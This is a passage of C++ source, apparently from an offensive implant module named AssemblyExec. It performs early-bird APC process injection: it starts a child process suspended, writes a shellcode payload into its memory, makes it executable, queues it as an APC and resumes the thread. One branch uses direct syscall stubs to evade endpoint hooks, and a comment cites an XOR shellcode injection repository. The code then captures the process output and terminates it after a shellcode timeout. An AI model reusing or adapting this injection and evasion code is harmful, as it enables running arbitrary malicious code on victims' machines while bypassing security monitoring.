|
SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0);
|
|
|
|
// Create the child process.
|
|
PROCESS_INFORMATION piProcInfo;
|
|
STARTUPINFO siStartInfo;
|
|
bool bSuccess = FALSE;
|
|
|
|
// Set up members of the PROCESS_INFORMATION structure.
|
|
ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
|
|
|
|
// Set up members of the STARTUPINFO structure.
|
|
// This structure specifies the STDERR and STDOUT handles for redirection.
|
|
ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
|
|
siStartInfo.cb = sizeof(STARTUPINFO);
|
|
siStartInfo.hStdError = hChildStdErrWr;
|
|
siStartInfo.hStdOutput = hChildStdOutWr;
|
|
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
|
|
|
|
// Create the child process.
|
|
bSuccess = CreateProcess(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &siStartInfo, &piProcInfo);
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
|
|
// If an error occurs, exit the application.
|
|
if ( ! bSuccess )
|
|
{
|
|
result += "Error: Process failed to start.\n";
|
|
return -1;
|
|
}
|
|
|
|
PVOID remoteBuffer;
|
|
if(m_useSyscall)
|
|
{
|
|
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
|
|
SIZE_T sizeToAlloc = payload.size();
|
|
|
|
remoteBuffer=NULL;
|
|
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
|
|
SIZE_T NumberOfBytesWritten;
|
|
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
|
|
|
|
ULONG oldAccess;
|
|
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
|
|
|
|
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
|
|
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
|
|
}
|
|
else
|
|
{
|
|
remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
|
|
|
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
|
|
|
|
DWORD oldprotect = 0;
|
|
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
|
|
|
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
|
|
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
|
|
ResumeThread(piProcInfo.hThread);
|
|
}
|
|
|
|
m_isProcessRuning=true;
|
|
m_processHandle = piProcInfo.hProcess;
|
|
std::thread thread([this] { killProcess(); });
|
|
|
|
DWORD dwRead;
|
|
CHAR chBuf[BUFSIZE];
|
|
bSuccess = FALSE;
|
|
std::string out = "";
|
|
std::string err = "";
|
|
for (;;)
|
|
{
|
|
DWORD bytesAvailableOut = 0;
|
|
if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0)
|
|
{
|
|
bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL);
|
|
if( ! bSuccess || dwRead == 0 )
|
|
break;
|
|
|
|
std::string s(chBuf, dwRead);
|
|
out += s;
|
|
}
|
|
|
|
DWORD bytesAvailableErr = 0;
|
|
if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0)
|
|
{
|
|
bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL);
|
|
if( ! bSuccess || dwRead == 0 )
|
|
break;
|
|
|
|
std::string s(chBuf, dwRead);
|
|
err += s;
|
|
}
|
|
|
|
DWORD exitCode;
|
|
if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0)
|
|
break;
|
|
|
|
std::this_thread::sleep_for(std::chrono::milliseconds(5));
|
|
}
|
|
|
|
m_isProcessRuning = false;
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
|
|
thread.join();
|
|
|
|
result += "Stdout:\n";
|
|
result += out;
|
|
result += "\n";
|
|
if(!err.empty())
|
|
{
|
|
result += "Stderr:\n";
|
|
result += err;
|
|
result += "\n";
|
|
}
|
|
|
|
CloseHandle(piProcInfo.hProcess);
|
|
CloseHandle(piProcInfo.hThread);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
int AssemblyExec::killProcess()
|
|
{
|
|
std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now();
|
|
while (1)
|
|
{
|
|
if (!m_isProcessRuning)
|
|
break;
|
|
|
|
std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now();
|
|
auto elapse = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
|
|
if(elapse>=maxDurationShellCode)
|
|
{
|
|
TerminateProcess(m_processHandle, 0);
|
|
break;
|
|
}
|
|
std::this_thread::sleep_for(std::chrono::milliseconds(100));
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
#endif |